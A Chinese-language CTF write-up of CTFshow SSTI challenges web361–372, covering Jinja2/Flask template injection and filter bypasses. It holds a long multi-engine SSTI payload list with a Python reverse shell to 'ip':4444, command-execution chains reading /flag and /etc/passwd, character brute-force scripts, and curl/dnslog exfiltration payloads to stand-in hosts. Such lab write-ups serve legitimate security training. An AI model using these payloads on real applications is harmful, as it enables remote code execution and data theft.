这里写自定义目录标题

  • CTFshow SSTI
    • 前言
    • 基本语法
    • web361-无过滤
    • web362-无过滤
    • web363-过滤单双引号
    • web364-过滤args
    • web365-过滤中括号
    • web366-过滤下划线
    • web367-过滤os
    • web368-过滤{{
    • 以下几题用的yu师傅和OcenSec师傅的脚本:
    • web369-过滤request
    • web370-过滤数字
    • web371-过滤print
    • web372-过滤count

CTFshow SSTI

前言

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

基本语法

变量块 {{}} 用于将表达式打印到模板输出
注释块 {##}    注释
控制块 {%%}    可以声明变量,也可以执行语句
行声明  ## 可以有和{%%}相同的效果

常用方法

__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序,返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数,可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量,返回字典
__builtins__        返回内建内建名称空间字典
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__()
实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候,形如:a.xxx/a.xxx()都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__
内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。url_for:
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_appget_flashed_messages
flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_applipsum
flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}current_app          应用上下文,一个全局变量request
可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()request.args.x1     get传参
request.values.x1    所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1      post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         post传参 (Content-Type:a/b)
request.json         post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器

int()        将值转换为int类型;float()       将值转换为float类型;lower()     将字符串转换为小写;upper()        将字符串转换为大写;title()        把值中的每个单词的首字母都转成大写;capitalize()   把变量值的首字母转成大写,其余字母转小写;trim()       截取字符串前面和后面的空白字符;wordcount()  计算一个长字符串中单词的个数;reverse() 字符串反转;replace(value,old,new) 替换将old替换为new的字符串;truncate(value,length=255,killwords=False)    截取length长度的字符串;striptags()   删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;escape()或e   转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。safe()     禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};list()     将变量列成列表;string() 将变量转换成字符串;join()     将一个序列中的参数值拼接成字符串。示例看上面payload;abs()      返回一个数值的绝对值;first()       返回一个序列的第一个元素;last()      返回一个序列的最后一个元素;format(value,arags,*kwargs)    格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!length()  返回一个序列或者字典的长度;sum()      返回列表内数值的和;sort()     返回排序后的列表;default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。length()  返回字符串的长度,别名是count

获取基本类的方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0]       //其他的类似

获取基本类的子类

[].__class__.__base__.__subclasses__()

执行命令

?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}

如果我们不知道索引号,可以写一个脚本循环输出

for i in enumerate(''.__class__.__bases__[0].__subclasses__()): print(i)

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

常用payload:

{{4*4}}[[5*5]]
{{7*7}}
{{7*'7'}}
<%= 7 * 7 %>
${3*3}
${{7*7}}
@(1+2)
#{3*3}
#{ 7 * 7 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
{{cycler.__init__.__globals__.os}}
{{joiner.__init__.__globals__.os}}
{{namespace.__init__.__globals__.os}}

web361-无过滤

可以直接用 lipsum 和 cycler 执行命令

lipsum: ​flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

web362-无过滤

url_for: ​flask的一个方法,可以用于得到__builtins__,而且url_for.globals[‘builtins’]含有current_app

init: 调用初始化函数,可以用来跳到__globals__

?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
//x可以为任意字符串

web363-过滤单双引号

利用上传别的参数绕过对name的过滤。

request.args.x1 get传参

?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

web364-过滤args

在上题的基础上过滤了args无法使用get传参,尝试使用cookie传参

request.cookies cookies参数

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}{{x.__init__.__globals__[request.cookies.a].eval(request.cookies.b)}}
#两种方式都可以

cookies:a=builtins;b=import(‘os’).popen(‘cat /flag’).read()

cookies:a=__builtins__;b=__import__('os').popen('cat /flag').read()

web365-过滤中括号

过滤单双引号和中括号

payload1:

?name={{x.__init__.__globals__.__getitem__(request.cookies.a).eval(request.cookies.b)}}

payload2:

value没有被过滤

request.values.x1 所有参数

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

payload3:

字符串拼接,通过__getitem__()​​构造任意字符

__getitem__() ​​ 调用字典中的键值,其实就是调用这个魔术方法,比如a[‘b’],就是a.getitem(‘b’)

?name={{config.__str__().__getitem__(22)}}   # 就是22

可以利用脚本构造字符

# anthor:秀儿
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"payload="cat /flag"
result=""
for j in payload:for i in range(0,1000):r=requests.get(url=url%(i))location=r.text.find("<h3>")word=r.text[location+4:location+5]if word==j:print("config.__str__().__getitem__(%d) == %s"%(i,j))result+="config.__str__().__getitem__(%d)~"%(i)break
print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)).read()}}

web366-过滤下划线

过滤了单双引号、args、中括号[]、下划线

Payload1:

cookie传参

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag
lipsum|attr(request.cookies.a)
相当于
__builtins__.__a__

value值绕过name过滤

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

web367-过滤os

在上题的基础上过滤了os,使用value绕过name过滤或者使用cookie传参。

attr用于获取对象的属性。foo|attr(“bar”)与foo类似。只是始终返回一个属性

变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。

例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

""|attr("__class__")
相当于
"".__class__
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368-过滤{{

可以使用{%xxx%}绕过

{%xxx%}可以用来声明变量,当然也可以用于循环语句和条件语句。

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
{%print(3*3)%}
结果输出 9

Payload:

在上题的基础上加个print()

?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag

以下几题用的yu师傅和OcenSec师傅的脚本:

yu师傅:https://blog.csdn.net/miuzzx/article/details/112168039

OcenSec师傅:https://blog.csdn.net/q20010619/article/details/120493997

web369-过滤request

Payload1:

字符串替换

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
http://fb992fe4-1fed-4c5a-9eb8-5924ffd562d9.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24) %}{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

相当于

lipsum.__globals__['__builtins__'].open('/flag').read()# 在__builtins__里面拿到chr,同样可以很方便的构造字符

Payload2:

字符串拼接,绕过方法就是使用 365 题的字符串拼接,但是下划线被 ban,str()不能用,需要用 string 过滤器得到 config 字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符。

# anthor:秀儿
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"payload="cat /flag"
result=""
for j in payload:for i in range(0,1000):r=requests.get(url=url.format(i))location=r.text.find("<h3>")word=r.text[location+4:location+5]if word==j.lower():print("(config|string|list).pop(%d).lower() == %s"%(i,j))result+="(config|string|list).pop(%d).lower()~"%(i)break
print(result[:len(result)-1])
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

Payload3:

反弹shell

http://fb992fe4-1fed-4c5a-9eb8-5924ffd562d9.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(34)%2bchr(111)%2bchr(115)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(49)%2bchr(49)%2bchr(56)%2bchr(46)%2bchr(51)%2bchr(49)%2bchr(46)%2bchr(49)%2bchr(54)%2bchr(53)%2bchr(46)%2bchr(54)%2bchr(51)%2bchr(58)%2bchr(54)%2bchr(54)%2bchr(54)%2bchr(54)%2bchr(63)%2bchr(112)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)%}
{%if x.eval(cmd)%}
123
{%endif%}

cmd的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+str(ord(s[i]))+')%2b'else:t+='chr('+str(ord(s[i]))+')'return t
a=ccchr(s)
print(a)

web370-过滤数字

Payload1:

也是字符替换,把数字替换成字符

http://bb03c844-9e63-4ee0-8659-fd30a88c63ff.chall.ctf.show/
?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = chr(numm)~dict(flag=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}

Payload2:

反弹shell,服务器用nc开启监听,将生成的url发过去就行,不过可能会有点慢。

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):t=[]for i in range(len(s)):t.append(ord(s[i]))k=''t=list(set(t))for i in t:k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'return k
def fun2(s):t=[]for i in range(len(s)):t.append(ord(s[i]))t=list(set(t))k=''for i in range(len(s)):if i<len(s)-1:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'else:k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'return k
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

web371-过滤print

Payload1:

上题的curl反弹脚本可以使用,不过要注意反弹过来的flag没有{},记得自己加上。

Payload2:

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
abc
{%endif%}

cmd由脚本生成

def aaa(t):t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):t=''for i in range(len(s)):if i<len(s)-1:t+='chr('+aaa(str(ord(s[i])))+')%2b'else:t+='chr('+aaa(str(ord(s[i])))+')'return t
print(ccchr(s))

web372-过滤count

这题是用mumuzi师傅的payload

可以用length替换

注意:请将xxx地方换成自己的xxx.dnslog.cn,只需要替换xxxx其余不要动,而且不能出现数字,如果子域名带有数字请重新获取子域名直到没有数字。

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set 